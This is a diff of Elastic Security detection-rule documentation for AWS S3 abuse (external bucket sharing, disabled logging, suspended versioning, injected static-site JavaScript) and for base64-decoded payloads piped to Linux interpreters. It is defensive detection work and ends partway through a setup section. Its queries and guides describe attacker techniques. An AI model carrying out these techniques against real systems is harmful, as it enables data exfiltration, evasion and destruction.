+ +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc new file mode 100644 index 0000000000..19d93b4aee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-10-aws-s3-bucket-policy-added-to-share-with-external-account]] +=== AWS S3 Bucket Policy Added to Share with External Account + +Detects when an Amazon S3 bucket policy is modified to share access with an external AWS account. This rule analyzes PutBucketPolicy events and compares the S3 bucket’s account ID to any account IDs referenced in the policy’s Effect=Allow statements. If the policy includes principals from accounts other than the bucket owner’s, the rule triggers an alert. This behavior may indicate an adversary backdooring a bucket for data exfiltration or cross-account persistence. For example, an attacker who compromises credentials could attach a policy allowing access from an external AWS account they control, enabling continued access even after credentials are rotated. Note: This rule will not alert if the account ID is part of the bucket’s name or appears in the resource ARN. Such cases are common in standardized naming conventions (e.g., “mybucket-123456789012”). To ensure full coverage, use complementary rules to monitor for suspicious PutBucketPolicy API requests targeting buckets with account IDs embedded in their names or resources. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS S3 Bucket Policy Added to Share with External Account* + + +This rule detects when an S3 bucket policy is modified using the `PutBucketPolicy` API call to include an external AWS account ID. +It compares the bucket’s `recipient_account_id` to any account IDs included in the policy’s `Effect=Allow` statement, triggering +an alert if the two do not match. + +Adversaries may exploit this to backdoor a bucket and exfiltrate sensitive data by granting permissions to another AWS account +they control, enabling ongoing access to the bucket’s contents even if IAM credentials are rotated or revoked. + +This detection specifically focuses on policy-based sharing and does not alert when: +- The account ID appears within the bucket or object name being shared. +- The account owner explicitly matches the policy’s condition keys on something other than an ARN or account id (i.e. IP address). + +To fully monitor for suspicious sharing behavior, use this rule in combination with detections for: +- Unusual PutBucketPolicy requests +- Cross-account object access (e.g., `GetObject`, `PutObject`) +- Changes to bucket ACLs or access points + + +*Possible investigation steps* + + +- **Identify the Actor and Context** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. + - Determine if the identity typically manages S3 bucket policies. + - Examine `aws.cloudtrail.resources.arn` to determine which bucket is being shared. + +- **Analyze the Policy Change** + - Review `aws.cloudtrail.request_parameters` to extract the policy JSON and identify the external AWS account ID(s) referenced. + - Check for `Effect=Allow` statements granting broad permissions such as `"Action": "s3:*"` or `"Resource": "*"`. + - Verify if the added principals correspond to known partners or external vendors. + - If AWS account ID(s) were only part of `Effect=Deny` statements, then this rule can be closed as a false positive. + +- **Review Context and Source** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalies — such as new IP ranges, access from unfamiliar geographies, or use of programmatic clients (`boto3`, `aws-cli`). + +- **Correlate with Related Activity** + - Search CloudTrail for subsequent activity by the external AWS account ID(s): + - `GetObject`, `ListBucket`, or `PutObject` events that indicate data access or exfiltration. + - Look for additional configuration changes by the same actor, such as: + - `PutBucketAcl`, `PutBucketVersioning`, or `PutBucketReplication` — often part of a larger bucket compromise chain. + - Determine if multiple buckets were modified in quick succession. + +- **Validate Intent** + - Review internal change requests or documentation to confirm whether this external sharing was approved. + - If no approval exists, escalate immediately for potential compromise. + + +*False positive analysis* + + +- **Authorized Cross-Account Access** + - Some organizations legitimately share S3 buckets across accounts within a trusted AWS Organization or partner accounts. + - Validate whether the external account ID belongs to a known entity or service provider and is documented in your allowlist. +- **Automation or Deployment Pipelines** + - Continuous integration/deployment pipelines may temporarily attach cross-account policies for replication or staging. + - Verify the `user_agent.original` or role name — automation often includes identifiable strings. +- **Naming and Rule Logic Limitations** + - This rule excludes detections where the account ID appears in the bucket resource ARN (e.g., `mybucket-123456789012`). + - Such patterns are common in automated provisioning. For those scenarios, rely on complementary rules that directly monitor `PutBucketPolicy` events against those buckets. + + +*Response and remediation* + + +- **Immediate Review and Containment** + - If unauthorized sharing is confirmed, use the AWS CLI or Console to delete or revert the modified policy (`aws s3api delete-bucket-policy` or restore from version control). + - Remove external principals and reapply the correct bucket policy. + - Rotate access keys for the actor involved, especially if API access came from unexpected locations or tools. + +- **Investigation and Scoping** + - Identify whether data was accessed by the external account via `GetObject` or `ListBucket` operations. + - Search CloudTrail logs for other buckets modified by the same actor or IP within the same timeframe. + - Use AWS Config to review version history of affected bucket policies and detect similar cross-account permissions. + +- **Recovery and Hardening** + - Restrict `s3:PutBucketPolicy` to a limited set of administrative roles using least privilege. + - Enable AWS Config rule `s3-bucket-policy-grantee-check` to monitor for unauthorized policy additions. + - Use AWS GuardDuty or Security Hub findings to correlate policy changes with data exfiltration or credential compromise events. + - Apply service control policies (SCPs) to block cross-account sharing unless explicitly approved. + + +*Additional information* + + - **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** + - **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketPolicy" + and stringContains(aws.cloudtrail.request_parameters, "Effect=Allow") + and ( + stringContains(aws.cloudtrail.request_parameters, "AWS=") or + stringContains(aws.cloudtrail.request_parameters, "aws:PrincipalAccount=") or + stringContains(aws.cloudtrail.request_parameters, "aws:SourceAccount=") + ) +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:cloudfront::") +and not stringContains(aws.cloudtrail.request_parameters, "arn:aws:iam::cloudfront:user") +and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-server-access-logging-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-server-access-logging-disabled.asciidoc new file mode 100644 index 0000000000..986883180f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-bucket-server-access-logging-disabled.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-10-aws-s3-bucket-server-access-logging-disabled]] +=== AWS S3 Bucket Server Access Logging Disabled + +Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Server Access Logging Disabled* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + +This detection alerts when the server-access logging configuration for an S3 bucket is changed so that logging is disabled. +Because detailed request logs are central to tracking object access, modifications here are significant from a visibility and forensics standpoint. They can signal that an adversary is preparing to act (exfiltrate, delete, or manipulate data) while minimizing audit evidence. + + +*Possible investigation steps* + + +**Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, and `aws.cloudtrail.user_identity.access_key_id` to determine the who/what of the change. + - Inspect `user_agent.original`, `source.ip`, `@timestamp`, `cloud.account.id`, `cloud.region` for unusual or non-standard access patterns (e.g., new user, external IP, off-hours). + - Check the bucket resource (via `aws.cloudtrail.resources.arn`, `aws.cloudtrail.resources.type`) to determine the bucket’s business role (e.g., logs, backups, sensitive data store). + - Consider whether the bucket houses audit logs or access logs; if so, disabling logging is especially suspicious and a higher risk. + +**Correlate with related activities** + - Search for preceding or subsequent events by the same principal or for the same bucket: + - `DeleteObject`, `PutBucketAcl`, `PutBucketPolicy`, `RemoveBucketAccessPoint`, or other permissions changes (e.g., `PutBucketLifecycle`). + - `ListBucket`, `GetObject`, `CopyObject`, or large `GetObject` operations, especially from unusual IPs or cross-account. + - IAM changes in proximity: `AttachUserPolicy`, `CreateAccessKey`, `AssumeRole` by same principal or against the same principal. + - Review AWS Config or Audit logs to see if the bucket’s logging was previously enabled and how long it has been disabled. + +**Evaluate intent and risk** + - If the bucket was being used to collect access logs or audit data, disabling logging significantly degrades forensic capability. + - Determine whether the actor has a legitimate business reason for modifying logging (ticket, change request, known automation). + - If not justified, treat this as a high-priority visibility compromise and proceed through escalation. + + +*False positive analysis* + + +- Storage teams may disable logging temporarily during migration or cost-optimisation exercises. +- Test or development buckets may routinely toggle logging for experimentation—document such buckets and roles. +- Trusted automation (tagged, known user-agent, internal IPs) may adjust logging. Consider allow-listing such automation while preserving watch-points for changes to high-sensitivity buckets. + + +*Response and remediation* + + +**1. Contain & restore visibility** + - Immediately re-enable server‐access logging for the affected bucket (ensure `LoggingEnabled=true` and correct `TargetBucket/Prefix`). + - If you suspect activity while logging was disabled, preserve any remaining object versions, cross-account access logs, or S3 Inventory data. + +**2. Investigate scope and impact** + - Use CloudTrail Lake or Athena to query access to the bucket and objects for the timeframe when logging was disabled. + - Identify external IP addresses, unusual principals, or rapid object transfers or deletions. + +**3. Recover & harden** + - Apply bucket-policy or SCP restrictions to prevent unauthorized modifications of `PutBucketLogging` for audit/logging buckets. + - Enable AWS Config rule (e.g., `cloudtrail-s3-bucket-access-logging`) to alert if logging is disabled. + - Ensure logging target buckets are configured with retention, versioning, and immutability (S3 Object Lock) to prevent tampering. + +**4. Improve & monitor** + - Update your incident response playbook to include this scenario (see AWS IR + Customer Playbook Framework). + - Educate stakeholders (storage, DevOps, security) that any change to logging configuration on buckets — especially audit/log buckets should be treated as a security event and ticketed. + + +*Additional information* + + +- AWS documentation on https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerLogs.html[S3 Server Access Logging] +- https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketLogging" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "LoggingEnabled") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-object-versioning-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-object-versioning-suspended.asciidoc new file mode 100644 index 0000000000..e3838bc89e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-object-versioning-suspended.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-10-aws-s3-object-versioning-suspended]] +=== AWS S3 Object Versioning Suspended + +Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/ +* https://www.invictus-ir.com/news/ransomware-in-the-cloud/ +* https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS S3 Object Versioning Suspended* + + +This rule detects when object versioning for an S3 bucket is suspended. S3 object versioning protects against data loss by maintaining prior versions of objects, allowing recovery if they are deleted or overwritten. +Adversaries with access to a misconfigured or compromised S3 bucket may disable versioning to inhibit recovery efforts, conceal data destruction, or prepare for ransomware-like activity. +This rule uses https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule[EQL] to detect use of the `PutBucketVersioning` API operation where the request parameters include `Status=Suspended`. + + +*Possible investigation steps* + + +- **Identify the Actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who performed the action. + - Verify whether this user or role has a legitimate operational reason to modify bucket versioning and whether such actions are common for this identity. + +- **Analyze the Source and Context** + - Review `source.ip` and `user_agent.original` to assess the origin of the request. + - Check for unusual geographic locations, IP ranges, or clients that do not typically manage storage configurations. + +- **Evaluate the Affected Resource** + - Review `aws.cloudtrail.resources.arn` or `aws.cloudtrail.request_parameters` to identify which bucket’s versioning was modified. + - Determine whether this bucket contains critical or regulated data (logs, backups, audit evidence, etc.) that would be impacted by versioning suspension. + +- **Correlate with Related Activity** + - Search for additional CloudTrail events performed by the same actor or IP address within the same timeframe, such as: + - `DeleteObject`, `DeleteObjects`, or `PutBucketLifecycle` events (potential data destruction). + - `PutBucketPolicy` or `PutBucketAcl` changes (permission manipulation). + - Review other detections related to S3 buckets or IAM changes to determine if this event is part of a larger sequence of destructive or unauthorized actions. + +- **Validate Intent** + - Confirm whether this configuration change aligns with approved maintenance or automation activity (e.g., cost optimization, test environment reset). + - If no corresponding change request or justification exists, treat this as a potential defense evasion or impact event. + + +*False positive analysis* + + +- **Legitimate Administrative Actions** + - Administrators or infrastructure automation tools may suspend versioning during migrations or lifecycle testing. Confirm through change management documentation. +- **Automation and Pipelines** + - Verify whether Infrastructure-as-Code tools (e.g., Terraform, CloudFormation) or backup lifecycle scripts routinely modify versioning states. + - Exclude predictable automation identities where justified, while ensuring strong audit controls remain in place. + + +*Response and remediation* + + +**Containment and Validation** +- Re-enable versioning immediately for the affected bucket using the AWS Console or CLI (`aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled`). +- Verify the change with `get-bucket-versioning` to confirm the bucket is restored to “Enabled.” +- Identify IAM users or roles with `s3:PutBucketVersioning` permissions and restrict access to trusted administrators only. +- Preserve relevant CloudTrail, Config, and CloudWatch logs for the timeframe of the change to ensure integrity of investigation evidence. + +**Investigation and Scoping** +- Search CloudTrail for related actions by the same user or IP, including `DeleteObject`, `PutBucketLifecycle`, or `PutBucketPolicy`, to determine whether versioning suspension preceded object deletion or policy manipulation. +- Review S3 access logs or Data Events for deleted, overwritten, or newly uploaded files after versioning suspension. +- Validate if the change corresponds to an authorized change request or approved pipeline deployment. + +**Recovery and Hardening** +- If object loss or overwrites occurred, attempt recovery using cross-region replication, AWS Backup, or previous snapshot copies. +- Enable S3 Object Lock and MFA Delete on critical buckets to prevent future tampering. +- Configure the AWS Config rule `s3-bucket-versioning-enabled` to continuously monitor for versioning suspension and trigger automated alerts. +- Review IAM and service control policies to ensure the principle of least privilege is enforced for all S3 management actions. +- Document findings and update incident response procedures to include versioning protection as part of ransomware and data destruction prevention strategies. + + + +*Additional information* + +- AWS Documentation: https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html[Using Versioning in S3] +- API Reference: https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html[PutBucketVersioning] +- https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks] +- https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework] + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutBucketVersioning" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Status=Suspended") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-static-site-javascript-file-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-static-site-javascript-file-uploaded.asciidoc new file mode 100644 index 0000000000..5668957a8c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-aws-s3-static-site-javascript-file-uploaded.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-10-aws-s3-static-site-javascript-file-uploaded]] +=== AWS S3 Static Site JavaScript File Uploaded + +This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Tactic: Impact +* Use Case: Web Application Compromise +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS S3 Static Site JavaScript File Uploaded* + + +An S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise. + + +*Possible Investigation Steps* + + +- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc). +- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection. +- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity). +- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories. + + +*False Positive Analysis* + + +- This behavior may be expected during app deployments. Look at: + - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions). + - Timing patterns—does this match a regular release window? + - The origin IP and device identity. + + +*Response and Remediation* + + +- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable. +- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user. +- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets. +- **Enable Bucket Versioning**: This can allow for quick rollback and historical review. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail* metadata _id, _version, _index + +| where + // S3 object write activity + event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutObject" + and event.outcome == "success" + + // IAM users or assumed roles only + and aws.cloudtrail.user_identity.type in ("IAMUser", "AssumedRole") + + // Requests for static site bundles + and aws.cloudtrail.request_parameters like "*static/js/*.js*" + + // Exclude IaC and automation tools + and not ( + user_agent.original like "*Terraform*" + or user_agent.original like "*Ansible*" + or user_agent.original like "*Pulumi*" + ) + +// Extract fields from request parameters +| dissect aws.cloudtrail.request_parameters + "%{{?bucket.name.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_name}, %{?host.key}=%{Esql_priv.aws_cloudtrail_request_parameters_host}, %{?bucket.object.location.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_object_location}}" + +// Extract file name portion from full object path +| dissect Esql.aws_cloudtrail_request_parameters_bucket_object_location "%{}static/js/%{Esql.aws_cloudtrail_request_parameters_object_key}" + +// Match on JavaScript files +| where ends_with(Esql.aws_cloudtrail_request_parameters_object_key, ".js") + +// Retain relevant ECS and dissected fields +| keep + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.request_parameters, + Esql.aws_cloudtrail_request_parameters_bucket_name, + Esql.aws_cloudtrail_request_parameters_object_key, + user_agent.original, + source.ip, + event.action, + @timestamp + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-base64-decoded-payload-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-base64-decoded-payload-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..23462578bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-base64-decoded-payload-piped-to-interpreter.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-10-base64-decoded-payload-piped-to-interpreter]] +=== Base64 Decoded Payload Piped to Interpreter + +This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Base64 Decoded Payload Piped to Interpreter* + + +Base64 encoding is a method to encode binary data into ASCII text, often used for data obfuscation. Adversaries exploit this by encoding malicious payloads and decoding them on a target system, piping the output to interpreters like bash or python for execution. The detection rule identifies such activities by monitoring for processes that decode Base64 and subsequently execute scripts, indicating potential malicious behavior. + + +*Possible investigation steps* + + +- Review the process command line arguments to identify the specific Base64 decoding activity, focusing on the presence of flags like `-d` or `-a` in conjunction with tools such as `base64`, `openssl`, or scripting languages like `python`, `perl`, or `ruby`. +- Examine the parent process entity ID and command line to understand the context in which the Base64 decoding was initiated, identifying any potentially suspicious parent processes. +- Investigate the subsequent interpreter process that was executed, such as `bash`, `python`, or `ruby`, to determine the nature of the script or command being run, looking for any signs of malicious activity. +- Check the timing and sequence of the processes involved to confirm if the Base64 decoding and interpreter execution occurred within the specified maxspan of 3 seconds, indicating a likely automated or scripted action. +- Analyze the host ID and any associated user accounts to determine if the activity aligns with expected behavior for that system or user, or if it suggests unauthorized access or compromise. +- Correlate the alert with other security events or logs from the same host or user to identify any additional indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Legitimate administrative scripts may use Base64 encoding to handle data securely. Review the context of the script execution and consider excluding specific scripts or directories from monitoring if they are verified as safe. +- Automated backup or data transfer processes might use Base64 encoding for data integrity. Identify these processes and create exceptions for known, trusted applications or scripts. +- Development environments often use Base64 encoding for testing purposes. If a development tool or script is frequently triggering alerts, consider excluding the specific development environment or user accounts from this rule. +- Security tools or monitoring solutions may use Base64 encoding as part of their normal operations. Verify the source of the alert and exclude known security tools from triggering this rule. +- System updates or package installations might involve Base64 operations. Monitor the timing and context of these alerts and exclude specific update processes if they are consistently identified as false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious code and lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those involving base64 decoding and piping to interpreters. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized file modifications or network connections. +- Restore the system from a known good backup if malicious activity is confirmed and the integrity of the system is compromised. +- Update and patch all software and systems to mitigate vulnerabilities that could be exploited by similar techniques. +- Implement enhanced monitoring and logging for base64 decoding activities and interpreter executions to detect similar threats in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". 